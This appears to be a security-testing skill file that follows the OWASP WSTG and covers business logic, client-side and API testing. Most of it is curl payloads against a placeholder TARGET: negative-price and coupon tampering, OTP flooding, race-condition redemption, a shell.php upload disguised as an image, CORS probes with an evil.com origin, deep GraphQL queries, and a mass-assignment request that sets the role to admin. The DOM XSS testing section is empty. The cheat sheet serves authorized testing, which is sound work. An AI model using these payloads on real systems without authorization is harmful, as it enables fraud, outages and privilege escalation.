| name | wstg-logic-client-api |
| description | WSTG business logic, client-side, and API security testing |
| tags | ["logic","client-side","api","graphql","cors","websocket","wstg"] |
| version | 1.0 |
Business Logic, Client-Side & API Testing (WSTG-BUSL + CLNT + APIT)
Business Logic Testing
Price & Payment Manipulation
curl -X POST https://TARGET/api/cart -d '{"item_id":1,"quantity":-1,"price":100}'
curl -X POST https://TARGET/api/cart -d '{"item_id":1,"quantity":0.001}'
curl -X POST https://TARGET/api/checkout -d '{"item_id":1,"price":0.01}'
curl -X POST https://TARGET/api/checkout -d '{"amount":100,"currency":"JPY"}'
curl -X POST https://TARGET/api/apply-coupon -d '{"code":"SAVE50","code":"SAVE50"}'
Workflow Bypass
curl -s -H "Cookie: session=TOKEN" https://TARGET/checkout/confirm
curl -X POST https://TARGET/checkout -d '{"step":3,"complete":true}'
Rate Limiting & Function Abuse
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://TARGET/api/send-otp -d '{"phone":"1234567890"}'
done
for i in $(seq 1 10); do
curl -s -X POST https://TARGET/api/redeem \
-d '{"code":"SINGLE_USE"}' &
done
wait
for i in $(seq 1 50); do
curl -s -X POST https://TARGET/api/vote -d '{"post_id":1}' \
-H "Cookie: session=TOKEN"
done
File Upload Abuse
curl -X POST https://TARGET/upload \
-F "file=@shell.php;type=image/jpeg"
dd if=/dev/urandom of=bigfile.bin bs=1M count=100
curl -X POST https://TARGET/upload -F "file=@bigfile.bin"
Client-Side Testing
DOM XSS Sources & Sinks
Sources (attacker-controlled input):
document.URL
document.location
document.referrer
window.location.hash
window.location.search
window.name
postMessage data
localStorage / sessionStorage
Sinks (dangerous execution points):
eval()
document.write()
document.writeln()
innerHTML
outerHTML
insertAdjacentHTML()
element.setAttribute("onclick", ...)
setTimeout(string, ...)
setInterval(string, ...)
new Function(string)
$.html()
window.location = ...
window.location.href = ...
document.cookie = ...
element.src = ...
DOM XSS Testing
https:
https:
https:
https:
postMessage Vulnerabilities
Clickjacking Test
curl -sI https://TARGET | grep -i "x-frame-options\|content-security-policy"
Browser Storage Audit
for (let i = 0; i < localStorage.length; i++) {
let key = localStorage.key(i)
console.log(key + ": " + localStorage.getItem(key))
}
for (let i = 0; i < sessionStorage.length; i++) {
let key = sessionStorage.key(i)
console.log(key + ": " + sessionStorage.getItem(key))
}
CORS Misconfiguration Testing
curl -sI https://TARGET/api/data -H "Origin: https://evil.com" | grep -i "access-control"
curl -sI https://TARGET/api/data -H "Origin: null" | grep -i "access-control"
curl -sI https://TARGET/api/data -H "Origin: https://evil.TARGET" | grep -i "access-control"
curl -sI https://TARGET/api/data -H "Origin: https://TARGETevil.com" | grep -i "access-control"
curl -sI https://TARGET/api/data -H "Origin: https://evil-TARGET" | grep -i "access-control"
API Security Testing
REST API Enumeration
curl -s https://TARGET/swagger.json
curl -s https://TARGET/openapi.json
curl -s https://TARGET/api-docs
curl -s https://TARGET/swagger/v1/swagger.json
curl -s https://TARGET/v1/api-docs
curl -s https://TARGET/.well-known/openapi.json
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" -X $method https://TARGET/api/endpoint
echo
done
curl -s https://TARGET/api/v1/users
curl -s https://TARGET/api/v2/users
curl -s -H "Accept: application/vnd.api.v1+json" https://TARGET/api/users
GraphQL Testing
curl -s -X POST https://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}'
curl -s -X POST https://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name args { name type { name } } type { name kind ofType { name } } } } } }"}' | jq . > schema.json
curl -s -X POST https://TARGET/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{ user(id:1) { name } }"},{"query":"{ user(id:2) { name } }"}]'
curl -s -X POST https://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ user { friends { friends { friends { friends { name } } } } } }"}'
WebSocket Testing
wscat -c "wss://TARGET/ws"
websocat wss://TARGET/ws
Mass Assignment in APIs
GET_RESPONSE=$(curl -s https://TARGET/api/profile -H "Cookie: session=TOKEN")
echo $GET_RESPONSE | jq .
curl -X PUT https://TARGET/api/profile \
-H "Content-Type: application/json" \
-H "Cookie: session=TOKEN" \
-d '{"name":"test","email":"test@test.com","role":"admin","isVerified":true}'
For detailed procedures on any test, read:
knowledge/web-application/WSTG-BUSL/WSTG-BUSL-{NN}.md
knowledge/web-application/WSTG-CLNT/WSTG-CLNT-{NN}.md
knowledge/web-application/WSTG-APIT/WSTG-APIT-{NN}.md